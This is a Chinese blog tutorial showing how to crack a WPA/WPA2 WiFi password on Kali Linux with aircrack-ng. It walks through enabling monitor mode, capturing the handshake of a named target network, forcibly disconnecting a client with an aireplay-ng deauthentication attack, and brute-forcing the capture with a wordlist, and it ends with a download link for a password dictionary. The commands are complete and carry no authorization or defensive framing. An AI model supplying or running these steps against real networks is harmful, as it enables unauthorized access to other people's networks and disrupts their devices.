首页 > 其他分享 >Kali使用Aircrack-ng进行暴力破译WIFI密码

Kali使用Aircrack-ng进行暴力破译WIFI密码

时间:2023-11-23 16:32:57浏览次数:42  
标签:Kali 握手 WIFI wlan0mon ng 网卡 监听

@TOC

一、什么是Aircrack-ng

Aircrack-ng是一个与802.11标准的无线网络分析有关的安全软件,主要功能有:网络侦测,数据包嗅探,WEP和WPA/WPA2-PSK破译。Aircrack-ng可以工作在任何支持监听模式的无线网卡上(设备列表请参阅其官方网站)并嗅探802.11a,802.11b,802.11g的数据。该程序可运行在Linux和Windows上。Linux版本已经被移植到了Zaurus和Maemo系统平台, 并概念验证可移植到iPhone。

运行环境

使用Kali 2021.3进行演示操作软件:aircrack-ng(Kali系统内置) 外置无线网卡设备: 要支持监听,支持Linux并且免驱(我这里使用的是RT3070)

插入网卡设备

  1. 进入Kali系统之后插入自己的网卡
  2. 右键查看网卡是否连接到Kali

二、破译流程

1.进入管理员模式

命令: sudo su 解释: 不在管理员模式下运行可能会有权限不够的提示

Kali使用Aircrack-ng进行暴力破译WIFI密码_监听模式

提示:执行命令之后输入Kali的密码,密码是被隐藏的,直接输入然后回车即可

2.查看网卡信息

命令: iwconfig/ifconfig 解释: iwconfig查看网卡的信息、ifconfig查看新连接的设备 wlan0就是我们的无线网卡

Kali使用Aircrack-ng进行暴力破译WIFI密码_网络安全_02

3.杀掉冲突进程

命令: airmon-ng check kill 解释: 杀死进程可以让搜索更准确,不会受到影响

Kali使用Aircrack-ng进行暴力破译WIFI密码_Kali_03

4.查看网卡是否支持监听模式

命令: airmon-ng

出现你的网卡信息就说明你的网卡支持监听

Kali使用Aircrack-ng进行暴力破译WIFI密码_网络安全_04

5.开启无线网卡监听模式

命令: airmon-ng start wlan0 解释: start开启哪个接口 wlan0是接口的名字

再用iwconfig查看一下网卡信息,wlan0后面多了个mon,wlan0mon就说明已经开启监听了

Kali使用Aircrack-ng进行暴力破译WIFI密码_网络安全_05

5.获取附近的AP信息(搜WIFI)

命令: airodump-ng wlan0mon

解释: BSSID:WIFI的MAC地址、PWR:信号强度(值越小信号强度强)、Data:监听期间流量总合、CH:信道、ENC:加密算法、ESSID:WIFI名称

Kali使用Aircrack-ng进行暴力破译WIFI密码_监听模式_06

提示:找到网络之后CTRL+Z结束搜索就可以

6.开始抓取握手包并保存成文件

命令: airodump-ng -c (频道号) --bssid (MAC地址) -w (抓取的数据包的保存位置) wlan0mon 解释:

c:信道
		bssid:BSSID值
		w:捕获的握手包要保存到的路径

我要破译的目标网络是Test,CH(信道)是11,MAC地址是E2:D4:64:02:73:A8,我在根目录下创建了一个名为1的文件夹 输入命令: airodump-ng -c 11 --bssid E2:D4:64:02:73:A8 -w 1/ wlan0mon

Kali使用Aircrack-ng进行暴力破译WIFI密码_网络安全_07

提示:所有的数值都要写刚刚查到要破译的WIFI其中一个客户端的值

(1) 等待新的设备连接WIFI

当新的客户端连接时,客户端输入密码连接就可以抓到握手包,右上角出现WPA时就表示已经抓到了对方的握手包

Kali使用Aircrack-ng进行暴力破译WIFI密码_监听模式_08

(2) 主动攻

命令: aireplay-ng -o 2 -a BSSID(MAC地址) -c STATION wlan0mon 解释:

0 :对客户端表示发起打击,让设备断开连接
		2:表示打击次数,0表示一直打击
		a :指定无线路由器BSSID
		c :指定强制断开的设备MAC

执行命令aireplay-ng -o 2 -a E2:D4:64:02:73:A8 -c C8:94:02:6D:93:F3 wlan0mon捕捉到握手包时就停止打击

Kali使用Aircrack-ng进行暴力破译WIFI密码_网络安全_09

注意:执行主动打击的时候新建一个终端执行命令,原来的抓包终端不要结束

6. 握手包密码

命令: aircrack-ng -a2 -b E2:D4:64:02:73:A8 -w 字典.txt 1/-01.cap 解释:

a2:WPA的握手包
		b :破译的WIFI的BSSID
		w :指定字典文件
		* :.cap是抓取到握手包的数据包文件

最后就是等待跑字典了,下面就是的WIFI密码,密码是20041101

Kali使用Aircrack-ng进行暴力破译WIFI密码_监听模式_10

7.关闭监听模式

命令: airmon-ng stop wlan0mon在监听模式下,kali不能连接网络

三、总结

1.问题

插入网卡,如果查看不到网卡信息,可以点开连接WIFI看一下能否搜索到附近的网络,如果不行那就右键系统可移动设备-把网卡断开再重新连接一下

Kali使用Aircrack-ng进行暴力破译WIFI密码_网络安全_11

2.密码字典

插入网卡,打开网卡的监听模式,搜索附近的WIFI,获取握手包,最后跑字典握手包,这里给大家提供一个常用的密码字典

链接: https://pan.百度.com/s/1NSNniAvaLdcY0HALbBnUTw?pwd=gg7y
提取码: gg7y

标签:Kali,握手,WIFI,wlan0mon,ng,网卡,监听
From: https://blog.51cto.com/u_15542299/8530867

相关文章

  • Error assembling WAR: webxml attribute is required
    转:https://blog.csdn.net/wang124454731/article/details/695691651maven打包的过程中的两个问题1.1Therepositorysystemisofflinebuttheartifactcom.zrw:zrw-parent:pom:1.0isnotavailableinthelocalrepository如果有依赖其他项目,先将其他项目执行maven......
  • spring和springboot定时任务线程池配置
    spring和springboot定时任务线程池配置目录spring和springboot定时任务线程池配置1背景2配置2.1命名空间配置2.2yaml配置3参考文档1背景项目有几个新增的月末报表生成定时任务(使用spring内置的TaskScheduler),相关业务人员反馈报表没有及时生成,让我比较疑惑:虽然生成比较耗......
  • 【学到一个新名词】String interning(字符串驻留/字符串内部化)
    作者:张富春(ahfuzhang),转载时请注明作者和引用链接,谢谢!cnblogs博客zhihuGithub公众号:一本正经的瞎扯在阅读VictoriaMetricsv1.95.1的命令行手册的时候,发现这样一段:-internStringCacheExpireDurationdurationTheexpirydurationforcachesforinterned......
  • Firefox developer tools truncates long network response, Chrome does not show
    Firefoxdevelopertoolstruncateslongnetworkresponse,ChromedoesnotshowFirefoxdevtoolsnetworkinspectorstilltruncatesresponsesto1MBbydefault.Youcanchangeordisablethelimitbynavigatingtoabout:configandchangingdevtools.netmonit......
  • uniapp开发[Vue warn]: Unhandled error during execution of scheduler flush. This
    如下,uniapp开发nvue页面报如下警告:15:30:25.079[Vuewarn]:Unhandlederrorduringexecutionofrenderfunctionat<UniGroupclass="w710cell_groupbg_whiteborder_radius16flex_row"top="10">at<Index__pageId=1__pagePath="pages/g......
  • Nginx安装
    下载Nginx:https://nginx.org/en/download.html1、首先安装ngnix所需的依赖的文件yuminstall-ygccgcc-c++yuminstall-ygccautomakeautoconflibtoolmakeyuminstall-ypcrepcre-develyuminstall-yzlibzlib-develyuminstall-yopensslopenssl-devel2、下......
  • java 实现文件夹上传(springBoot 框架)
    java实现文件夹上传(springBoot框架)有时我们后台管理等服务可能会有这样一个简单需求,就是根据文件夹将整个文件夹下的所有资源都上传到我们的服务器上,本人也是搜索了大量资料,最终以最简单便捷的方式实现该功能,具体操作步骤如下一、前端如何设置上传组件并将资源上传到后台服务这......
  • caddy 替代nginx? caddy测试体验
    安装官网:https://caddyserver.com帮助文档:https://caddy2.dengxiaolong.com/docs/runningcadddy也是一个守护进程的前后台守护应用,后台服务一直监听cli的操作所有所有的service的操作都支持优势目前来看caddy的的优势是==nignx+acme.shUbuntu下安装sudoaptinstall-......
  • org.springframework.context.ApplicationContextException: Failed to start bean ‘
    错误信息org.springframework.context.ApplicationContextException:Failedtostartbean'documentationPluginsBootstrapper';nestedexceptionisjava.lang.NullPointerException  atorg.springframework.context.support.DefaultLifecycleProcessor.doStar......
  • 使用jasypt对springboot配置信息加密
    1.pom文件增加依赖<dependency> <groupId>com.github.ulisesbocchio</groupId> <artifactId>jasypt-spring-boot-starter</artifactId> <version>3.0.5</version> </dependency>2.修改启动......